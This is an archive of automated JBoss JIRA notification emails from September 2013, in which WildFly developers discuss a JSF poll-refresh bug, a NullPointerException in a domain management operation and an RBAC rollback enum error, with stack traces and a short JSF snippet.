From jira-events at lists.jboss.org  Wed Sep  4 14:16:04 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Wed, 4 Sep 2013 14:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.9612.1378318564373@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801669#comment-12801669 ] 

Brian Leathem commented on WFLY-1981:
-------------------------------------

That's great [~lafr], it helps to know that the failure is caused by an ajax update, rather than a failure of the poll component itself.

As for in which library the issue lies, I suggest replacing the a4j:commandButton with an h:commandbutton (with a nested f:ajax).  If that still fails, then it's likely an OpenFaces issue.  If it works, then we have a problem with the RichFaces ajax in JSF 2.2.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 15:23:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 15:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.9676.1378322583361@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801691#comment-12801691 ] 

Brian Stansberry commented on WFLY-1997:
----------------------------------------

Did this work before? Looking at the code, I doubt it.
                
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 15:37:04 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Wed, 4 Sep 2013 15:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.9702.1378323424023@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801699#comment-12801699 ] 

Frank Langelage commented on WFLY-1981:
---------------------------------------

So this is bad news for you:
{code:xml}
    <h:commandButton value="Refresh" action="#{index.read()}">
        <f:ajax render="Table1 Table2"/>
    </h:commandButton>
{code}
works fine.
Both tables stay visible and get updated when clicking the Refresh button.

                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 15:39:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 15:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.9712.1378323543812@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801701#comment-12801701 ] 

Heiko Braun commented on WFLY-1997:
-----------------------------------

Right, that was my Impression as well. The piece of code that reveils the error has been changed recently. The strange thing is, that the ops don't fail when being executed indepentently.
                
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 15:51:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 4 Sep 2013 15:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2000) No enum
 AccessAuthorizationResourceDefinition.Provider.UNDEFINED
In-Reply-To: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499964.1378309224000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499964.1378309224000.9746.1378324263335@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2000?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801710#comment-12801710 ] 

Brian Stansberry commented on WFLY-2000:
----------------------------------------

I pushed a fix for this specific problem to my rbac branch. But the error is happening during rollback execution. The fix corrects the rollback execution, but I haven't looked yet into whatever the cause of the rollback was in the first place.
                
> No enum AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> ----------------------------------------------------------------
>
>                 Key: WFLY-2000
>                 URL: https://issues.jboss.org/browse/WFLY-2000
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> Anattemp to start a server within a domain (hosts>1) yields:
> {noformat}
> [Server:stage2] ERROR [org.jboss.as.controller.management-operation] JBAS014603:  caught exception attempting to revert operation write-attribute at address [
> [Server:stage2]     ("core-service" => "management"),
> [Server:stage2]     ("access" => "authorization")
> [Server:stage2] ]: java.lang.IllegalArgumentException: No enum constant org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition.Provider.UNDEFINED
> [Server:stage2] 	at java.lang.Enum.valueOf(Enum.java:236) [rt.jar:1.7.0_17]
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationResourceDefinition$Provider.valueOf(AccessAuthorizationResourceDefinition.java:68)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.updateAuthorizer(AccessAuthorizationProviderWriteAttributeHander.java:98)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:93)
> [Server:stage2] 	at org.jboss.as.domain.management.access.AccessAuthorizationProviderWriteAttributeHander.revertUpdateToRuntime(AccessAuthorizationProviderWriteAttributeHander.java:48)
> [Server:stage2] 	at org.jboss.as.controller.AbstractWriteAttributeHandler$1$1.handleRollback(AbstractWriteAttributeHandler.java:111) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$RollbackDelegatingResultHandler.handleResult(AbstractOperationContext.java:1019) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.handleRollback(AbstractOperationContext.java:988) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeInternal(AbstractOperationContext.java:946) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.finalizeStep(AbstractOperationContext.java:921) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.access$300(AbstractOperationContext.java:873) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.finishStep(AbstractOperationContext.java:721) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:677) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356)
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:331)
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:250) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Server:stage2] 
> [Server:stage2] FATAL [org.jboss.as.server] JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> [Server:stage2] ERROR [stderr] java.io.IOException: JBAS012175: Channel closed
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.protocol.ProtocolConnectionManager.connect(ProtocolConnectionManager.java:67)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerConnection.reConnect(HostControllerConnection.java:165)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerClient.reconnect(HostControllerClient.java:97)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.DomainServerMain.main(DomainServerMain.java:138)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> [Server:stage2] ERROR [stderr] 	at java.lang.reflect.Method.invoke(Method.java:601)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Module.run(Module.java:292)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Main.main(Main.java:455)
> [Server:stage2] INFO  [org.jboss.as] JBAS015950: WildFly 8.0.0.Beta1-SNAPSHOT "WildFly" stopped in 10ms
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010926: Unregistering server stage2
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 17:02:03 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Wed, 4 Sep 2013 17:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.9862.1378328523672@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Leathem updated WFLY-1981:
--------------------------------

    Labels: interop jsf22  (was: )

    
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>              Labels: interop, jsf22
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 17:02:03 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Wed, 4 Sep 2013 17:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.9868.1378328523965@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801729#comment-12801729 ] 

Brian Leathem commented on WFLY-1981:
-------------------------------------

Great, thanks for doing the investigations.  I'll migrate this to a RIchFaces issue, and tag it as jsf22 / interop.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>              Labels: interop, jsf22
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 18:35:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 18:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGMGR-67) Improve LogManager formatter
 capability: System resources, thread ID and minified category
In-Reply-To: <JIRA.12490045.1366637143000@jira02.app.mwc.hst.phx2.redhat.com>
